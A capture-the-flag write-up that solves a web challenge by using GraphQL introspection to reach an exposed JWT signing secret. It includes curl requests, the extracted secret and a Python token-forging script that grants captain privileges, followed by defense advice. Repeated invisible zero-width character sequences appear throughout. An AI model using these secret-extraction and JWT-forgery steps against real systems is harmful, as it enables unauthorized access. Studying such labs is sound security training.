← Back to Writeups
CUSTOMMediumWeb

Космический терминал (Cosmic Terminal)

XESXOR9/2/20263 min read
#web#custom#medium#graphql_introspection#jwt_forgery#jwt_secret_extraction#nested_query_exploitation

Космический терминал (Cosmic Terminal)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: graphql_introspection, jwt_forgery, jwt_secret_extraction, nested_query_exploitation

Summary

Walkthrough of the CUSTOM Web Космический терминал (Cosmic Terminal). Task: GraphQL API with JWT authentication on abandoned spaceship terminal. Solution: Exploited enabled introspection to discover nested query path to JWT signing secret, forged token with captain priv

Description

На заброшенном космическом корабле, дрейфующем в бездне космоса, внезапно пропал весь экипаж. Вас послали расследовать этот инцидент, но не дали ключей доступа. Вы обнаружили еще работающий терминал, получится ли у вас получить доступ к секретной информации?

(Translation: On an abandoned spaceship drifting in the void of space, the entire crew suddenly disappeared. You were sent to investigate this incident, but were not given access keys. You found a still-working terminal, can you gain access to the secret information?) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

URL: http://tasks.duckerz.ru:30024

Analysis

Reconnaissance

While exploring the web application, the following was discovered:

  • Frontend: React + xterm.js (terminal interface)
  • Backend: GraphQL API at /graphql

GraphQL Introspection

First, we check if GraphQL introspection is enabled:

bash
curl -s http://tasks.duckerz.ru:30024/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name } } }"}'

Introspection is enabled! Interesting types discovered:

  • SecretVault
  • JWTConfigs (contains signingSecret field!)
  • EncryptedCredentials
  • AccessControl ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Query Analysis

Query getFlag - requires captain privileges:

bash
curl -s http://tasks.duckerz.ru:30024/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ getFlag }"}'

Response: {"errors":[{"message":"Unauthorized: Captain privileges required"...}]}

Query getToken - returns JWT with is_captain: false:

bash
curl -s http://tasks.duckerz.ru:30024/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ getToken { token } }"}'

Decoded JWT payload:

json
{"is_captain": false, "iat": 1768485891, "exp": 1768572291}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Finding the JWT Secret

Through GraphQL schema mapping, a path to the JWT secret was found:

ship_system_info → dataCore → systemConfigs → accessCredentials → secretStorage → credentials → secretKeys → signingSecret

Solution

Step 1: Extracting the JWT Secret

bash
curl -s http://tasks.duckerz.ru:30024/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ ship_system_info { dataCore { systemConfigs { accessCredentials { secretStorage { credentials { secretKeys { signingSecret } } } } } } } }"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{
  "data": {
    "ship_system_info": {
      "dataCore": {
        "systemConfigs": {
          "accessCredentials": {
            "secretStorage": {
              "credentials": {
                "secretKeys": {
                  "signingSecret": "NebulaStarfleet7429GalaxyNova3851X"
                }
              }
            }
          }
        }
      }
    }
  }
}

JWT Secret: NebulaStarfleet7429GalaxyNova3851X

Step 2: Creating a Forged JWT Token

python
#!/usr/bin/env python3
import jwt
import time
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

secret = "NebulaStarfleet7429GalaxyNova3851X"
payload = {
    "is_captain": True,  # Elevating privileges!
    "iat": int(time.time()),
    "exp": int(time.time()) + 86400
}

token = jwt.encode(payload, secret, algorithm="HS256")
print(token)
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc19jYXB0YWluIjp0cnVlLCJpYXQiOjE3Njg0ODU5MzQsImV4cCI6MTc2ODU3MjMzNH0.roTu6ww-CuApYvqQmPvxAXnMEpT7z3kWKidzoT-HUmI

Step 3: Getting the Flag

bash
curl -s http://tasks.duckerz.ru:30024/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc19jYXB0YWluIjp0cnVlLCJpYXQiOjE3Njg0ODU5MzQsImV4cCI6MTc2ODU3MjMzNH0.roTu6ww-CuApYvqQmPvxAXnMEpT7z3kWKidzoT-HUmI" \
  -d '{"query":"{ getFlag }"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{"data":{"getFlag":"DUCKERZ{REDACTED}"}}

Exploited Vulnerabilities

#VulnerabilityDescriptionSeverity
1GraphQL Introspection EnabledAllows full exploration of the API schema, including sensitive typesMedium
2Sensitive Data Exposure via GraphQLJWT signing secret accessible through nested queries without authorizationCritical
3Insufficient Access ControlNo protection for sensitive fields in GraphQL schemaHigh
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Defense Recommendations

  1. Disable introspection in production:

    javascript
    const server = new ApolloServer({
      introspection: false,
      ...
    });
  2. Use authorization directives:

    graphql
    type JWTConfigs @auth(requires: ADMIN) {
      signingSecret: String!
    }
  3. Do not store secrets in GraphQL schema - use environment variables

  4. Implement field-level authorization for sensitive data

Useful Links

  • GraphQL Introspection
  • JWT.io - JWT decoding and debugging
  • OWASP GraphQL Cheat Sheet ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering graphql_introspection, jwt_forgery, jwt_secret_extraction, nested_query_exploitation was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-01-15 • CUSTOM • Космический терминал (Cosmic Terminal) • Difficulty: Medium